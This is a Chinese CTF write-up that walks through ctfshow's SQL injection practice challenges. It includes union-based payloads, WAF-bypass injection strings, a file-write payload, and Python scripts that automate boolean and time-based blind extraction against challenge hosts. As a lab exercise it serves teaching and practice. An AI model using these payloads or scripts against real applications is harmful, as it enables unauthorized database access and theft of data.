SQL注入

sql注入,一般上来先测试是整数型还是字符型,如果要求输入id,可以输入1--+来测试是否报错,如果报错则不是字符型,其中’用来闭合引号,--+用来注释后边内容,也可以使用#,不过要写%23(url编码)

成功闭合之后,先判断下字段数:

输入1' order by 3--+看是否报错,如果3不报错,4报错,说明该表有3个字段,即3列。

之后,使用union联合查询数据库名、数据表名、字段内容。

以下题目均来自于ctfshow web入门练习题sql注入部分。

例题1、常规查询

已知sql语句:

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

是字符型,使用-1’ union进行联合查询。

1、首先查询数据库名:

1
-1' union select database(),user(),version()--+

因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。

返回的databse即为当前数据库名,这里是’ctfshow_web’

2、得知数据库名后,查询该数据库下的所有数据表名:

1
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+       //2,3用来占位

返回的第一个即为数据表名,这里是’ctfshow_user’

3、最后,查询该表下的所有字段:

1
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+

返回三个字段id,username,password,发现没有flag字段。如果有flag字段,直接select该字段就行了,这个没有,猜测flag是表里的内容,因此查询所有:

1
-1' union select id,username,password from ctfshow_web.ctfshow_user--+

方法二

这种没有绕过的直接sqlmap一把梭,或者用万能密码:

1
1'or 1 --+            //用or后加ture就可以绕过前边的username !='flag',查询出等于flag的username的那一列。

例题2、常规查询2

跟上题类似,不过是查两列,前边直接查出来表明为ctfshow_user2。

另外,还加了个判断:

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

这个判断会返回所有username!=’flag’的那一行,因此不能查username,正好只能查两列,直接查id和password就行了。

1
-1' union select id,password from ctfshow_web.ctfshow_user2--+

例题3、常规查询3

前边直接查出来表明为ctfshow_user3。

同样,有一个判断:

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这个判断会对查询到的所有行检测,如果包含flag则不能输入,然后这题需要查三列,因此需要用一个占位符覆盖掉username那一列。

1
-1' union select id,2,password from ctfshow_web.ctfshow_user3--+    //这里的2是占位符

例题4、字母替换、布尔盲注

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

要求,查询出来的内容不能包含数字。

第一步查询数据库名可以正常查询:

1
-1' union select database(),user()--+

返回ctfshow_web,因为库名不包含数字。

但是第二步查询数据表名会失败,因为按照规律,该题表名应该是ctfshow_user4了,包含数字4。

解决方法

对输出结果进行替换后再输出,将数字都替换成字母,payload:

1
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+

查询结果为:ctfshow_userD ,D 对应的是 4 ,因此表名为:ctfshow_user4

之后,查询 password:

1
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到flag后,因为flag中的数字也都被替换成了字母,需要还原回去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def rev_replace(txt):
repl = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0'
}

for k, v in repl.items():
txt = txt.replace(k, v)
return txt

txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

方法二

布尔盲注

我们首先得知道查询的接口跟盲注正确页面与错误页面的区别才能写出python脚本跑,先用burpsuite抓包id查询的接口

拼接得到查询接口的url:

xxx.ctf.show/api/v4.php?id=1&page=1&limit=10

admin就是判断是否正确的关键了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://1641eab8-d9ad-45ac-b1f6-088311ddb9e0.challenge.ctf.show/api/v4.php"
flag = ""

for i in range(1,100):
c = 32
while c > 31:
payload_1 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) > %d -- -"%(i,c)
payload_2 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) = %d -- -"%(i,c)
res_1 = requests.get(url=url+payload_1).text
res_2 = requests.get(url=url+payload_2).text
if "admin" in res_1:
c = c + 10
elif "admin" in res_2:
flag += chr(c)
print(flag)
print(c)
break
else:
c = c - 1

例题5、时间盲注

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

\x00-\x7f是匹配ascii的0-127,相当于过滤了所有的可见字符,所以基本上不会有任何回显。

这种题一般只能通过时间盲注来做:

首先测试一下:1' and sleep(5)--+,观察页面确实存在延时。

找到它调用的接口是 /api/v5.php ,之后构造盲注payload:

1
1' and if(length(database())=11,sleep(3),0) --+         //当数据库长度=11时,延迟三秒

这里是猜测,数据库长度是11。

1、爆破数据库名,首先爆破长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://18551177-c244-487c-a975-670e921dc0ad.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):
payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
print(f"{i}:{time}")
1:0.108992
2:0.096482
3:0.088816
4:0.092319
5:0.100888
6:0.086234
7:0.080789
8:0.091009
9:0.096719
10:0.081165
11:3.083418
12:0.097171
13:0.07949
14:0.079954

发现,确实是11的时候延迟了3秒多,因此数据库长度是11,对应ctfshow_web。

获取到了长度后,接下来是爆破每一位的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string

url = 'http://18551177-c244-487c-a975-670e921dc0ad.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):
for k in dic:
payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
if time > 2:
print(k)
out += k #响应延时则将猜测的字符添加到结果里
break #跳出内层的for循环,继续遍历下一位
print(out)

爆破出库名:ctfshow_web。

2、爆破数据表名:

这里直接将范围增大,就不爆破长度了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

url = 'http://18551177-c244-487c-a975-670e921dc0ad.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 30):
a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if time > 2:
print(k)
a = 0 #如果找到字符,则将标志位置0
out += k
break #跳出内层的for循环,继续遍历下一位
if a == 1: #在进行下一次循环前,先判断当前字符是否找到
break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

爆破出表名:ctfshow_user5。

3、爆破flag:

由前边的题,得知flag是在password字段里,且对应username=’flag’。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import string

url = 'http://18551177-c244-487c-a975-670e921dc0ad.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
a = 1 # 设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜列名
payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜具体字段
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if time > 2:
print(k)
a = 0 # 如果找到字符,则将标志位置0
out += k
break # 跳出内层的for循环,继续遍历下一位
if a == 1: # 在进行下一次循环前,先判断当前字符是否找到
break # 若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

方法二

也可以直接使用命令:

1
-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -

将查询到的flag写入1.txt里,直接访问ip/1.txt。

例题6、select过滤

题目提示有过滤,但是不知道是什么过滤,因此只能测试。

传入1'--+有回显,传入1 '--+也有回显,所以没有过滤空格。

直接使用union联合查询-1' union select 1,2,3--+报错,但是-1' union Select 1,2,3--+可以回显,所以是过滤了select,替换成Select即可。

表名是ctfshow_user:

1
-1' union Select id,username,password from ctfshow_web.ctfshow_user--+

例题7、空格过滤

测试发现过滤了--+和空格,--+使用%23替代,空格使用%0a替代,其他同上。

表名是ctfshow_user:

1
-1'%0aunion%0aselect%0aid,username,password%0afrom%0actfshow_web.ctfshow_user%23

或者使用万能密码:

1
1'%0aor%0a1=1%23

例题8、空格过滤2

对%0a过滤了,没法用这个代替空格使用了,可以用%0c替代%0a。

表名是ctfshow_user:

1
-1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_web.ctfshow_user%23

例题9、注释过滤

这次把%23也给过滤了,没法注释掉后边了,但是可以使用闭合语句'1'='来闭合后边。

原始语句:

1
"select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

传入:1'or'1'='后,原始语句变成了:

1
"select id,username,password from ctfshow_user where username !='flag' and id = '1'or'1'='' limit 1;";

因为用or连接,所以会查出前边id=1的数据。

因此构造:

1
-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='

例题10、注释过滤2

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

告诉了过滤的内容,不过过滤了很多。

因为%23没法用,还是需要考虑闭合语句。

可以使用另一种:

1
'or(username='flag')and'1'='1

传进去后变成:

1
where username !='flag' and id = ''or(username='flag')and'1'='1' limit 1;";

因为and的优先级大于or所以相当于

1
where (username !='flag' and id = '')  or  (username='flag'and'1'='1')

因为已知username=’flag‘是肯定可以查询到的,所以后边的可以不用,可以简化为:

1
2
3
'||username='flag        

'or(username)='flag //用or需要加括号,防止和username拼接在一起

例题11、注释过滤3

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

多过滤了一个flag。

根据前边题目的规律,已知flag在id为26的记录上,直接在上一题的情况下替换username=’flag’为其他的id=26

1
'or(id=26)and'1'='1

或者使用模糊查询:

1
-1'||(username)like'%fla%

例题12、布尔盲注2

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
1
2
//返回用户表的记录总数
$user_count = 0;

多过滤了=,or,and以及\x7c(|)。

select和and以及or等都不能使用了,只能使用布尔盲注或时间盲注了。

这题sql语句发生了变化,这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。

因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。

1
tableName=`ctfshow_user`where`pass`like'ctfshow{%'     //post写入

完整wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import sys

url="http://54bb7673-d61c-4838-8c2d-ca95e38a1517.challenge.ctf.show/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"

for i in range(100):
for j in letter:
data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)}
r = requests.post(url=url, data=data).text
# print(r)
if "$user_count = 1;" in r:
flag += j
print(flag)
break
if j == "}":
sys.exit()